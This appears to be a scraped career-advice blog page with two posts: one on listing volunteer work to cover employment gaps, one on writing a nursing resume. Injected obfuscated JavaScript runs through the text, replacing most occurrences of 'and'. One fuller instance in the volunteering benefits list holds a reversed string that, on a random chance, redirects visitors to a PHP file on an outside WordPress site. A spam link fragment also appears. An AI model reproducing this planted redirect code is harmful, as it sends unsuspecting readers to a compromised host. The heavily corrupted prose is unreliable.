The stale economy of the last few years has not only made the job market more competitive, but it has also put many people out of work for lengthy periods of time. Having these blocks of downtime can usually send up red flags to potential employers.

So how do you flesh out your resume to make it more appealing to hiring personnel?

Glad you asked.

A recent article at SnagaJob.com states:

“If you’re one of the millions of unemployed Americans, or if you’re returning to the workforce after an extended absence, your volunteer experience can be the one thing that sets you apart from the competition.”

Volunteer experience on a resume is becoming more prevalent these days. In the not too distant past, employers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and jobseekers alike undervalued volunteer experience, or even dismissed it altogether. When it was included, it was often added to the end of a resume as an afterthought.

By giving more value to your volunteer experience on your resume you will not only be able to demonstrate your skills, such as leadership andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and interpersonal skills, a prerequisite for many jobs, but you will also be able to fill in those employment gaps that usually send up red flags, which can jeopardize your chances to be invited in for an interview.

A professional resume writer can help you to integrate your volunteer experience with your employment experience, creating a cohesive timeline of professional experience allowing you to get one step closer to employment.

Some of the other benefits of volunteering include:

• The ability to gain valuable work experience
• Possibility of permanent employment with the organization you are volunteering with
• Networking opportunities, as we mentioned in $Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-sex-enhancer-.htm’>Step #3 of our post ‘Not Even A PFO Letter’
• The opportunity to apply andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and practice your skills
• Volunteer experience will also help you to gain confidence in yourself, making transition back to the workforce that much easier.
• And best off all, you’ll be helping out your community.

If your resume lacks volunteer experience, it is never too late to start acquiring some. Many NGO’s, non-profit andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and charitable organizations have opportunities to volunteer in your current capacity, or even in a position where you can gain some new skills. So get out there andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and start volunteering.

Your resume, regardless of the position you are applying for, is the most powerful marketing tool that you have when embarking on a new job. It is important to have a concise andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and well-written resume, not something that reads like a shopping list of your previous work experiences.

Remember that many other people are applying for the same position. The hiring manager won’t see your face, won’t hear your voice, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and won’t call you for an interview without first being impressed by your resume.

The health care field, especially nursing, is in high demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, but that doesn’t mean that a poorly written resume will still get your foot in the door. The following suggestions will help you to write a resume that will get you to that next crucial step – the first interview.

What is different about a nursing resume?

A nursing resume is very similar to a standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard resume in most respects, with the exception that your specific skill set andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and education will pertain to the health care field. You will want to ensure that your resume reflects the latest trends andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and terminology of the health care industry while demonstrating the depth of your knowledge, skills andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and experience.

You will also want to demonstrate the specific personality andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and character traits that are critical to nursing:

• Patience: Dealing with ailing or injured patients, panicking or demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding relatives, takes more patience than most jobs.
• Attention to detail: You are most likely going to be keeping track of multiple medications for multiple patients andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and relaying other critical details for nurses on the next shift.
• Stamina: At the end of an eight or twelve hour shift, you need to still have patience andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and attention to detail – andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a nurse’s legs can get pretty tired, being on your feet for most of that time.
• Love: Okay, that word sounds way too touchy-feely for a resume, but you do need to get across that you care about the patients andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their family, because that is a big intangible in the field of nursing.

What needs to be emphasized in the resume?

When applying for a new job, your resume only has a few seconds to grab the attention of the person who is in charge of narrowing down the list of potential candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates from the hundreds, if not thousandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands of resumes that were submitted.

The place to grab their attention andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and draw them into the rest of your resume is located just below your contact info. This is the area that needs to be emphasized in your resume.

Here you will write a brief, professional summary in a narrative format that establishes the essential claims as to why you are suitable for the job, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and gives a good sense of your character.

The remainder of your resume should be comprised of proof that helps to back up every claim you made in the professional summary, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and every hint of your personality traits.

What qualities need to be expressed?

Many nurses, whether they are veterans of the career or fresh out of college, all have one thing in common, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that is the mistaken belief that potential employers will immediately recognize the amount of responsibility that is linked to their job title.

When describing previous health care experience, specific qualities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and details should be explained to help the hiring manager understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and your qualifications andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how you excelled in those positions. Such things describing the size of the facility, speciality of the unit andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and number of patients will go a long way to helping the potential employer understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what you are capable of.

Remember that anyone you are competing against also can post titles. Think about what makes you standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and out, how you excelled, how you gave superior care, how patients andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and families reported positive experiences on account of your efforts.

Your resume should also include any licenses andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other nursing certifications that you have obtained. If you ended up with a good score on the NCLEX exam, you may also want to include that on your resume.

Who do you need to target?

When submitting your resume you should target as many different parts of the health care system as skills will allow you. Just because you want an ER positions does not mean you will get it right away. So keep your skills sharp andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and take a position somewhere else while you wait until one opens in the ER.

Keep in mind that all the above advice must be adjusted according to the type of position you seek. For instance, when applying for an ER position or even an OR or ICU position, you’ll need to demonstrate clearly that you have proven to exercise sound judgment andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and keep performing to 100% under stress. For a position in a nursing home, you will need to emphasize more the empathic, caring side.

The important thing is to think of the different kind of qualifications required to excel at the specific position you seek:

• What certification?
• What experience?
• What knowledge?
• What character traits?

A professional resume writer can help you answer these questions in the eyes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and minds of the hiring manager. With a professionally written nursing resume, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and possibly the help of a health care recruiter, your possibilities can be endless, from hospitals to nursing homes, private clinics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and anywhere in between.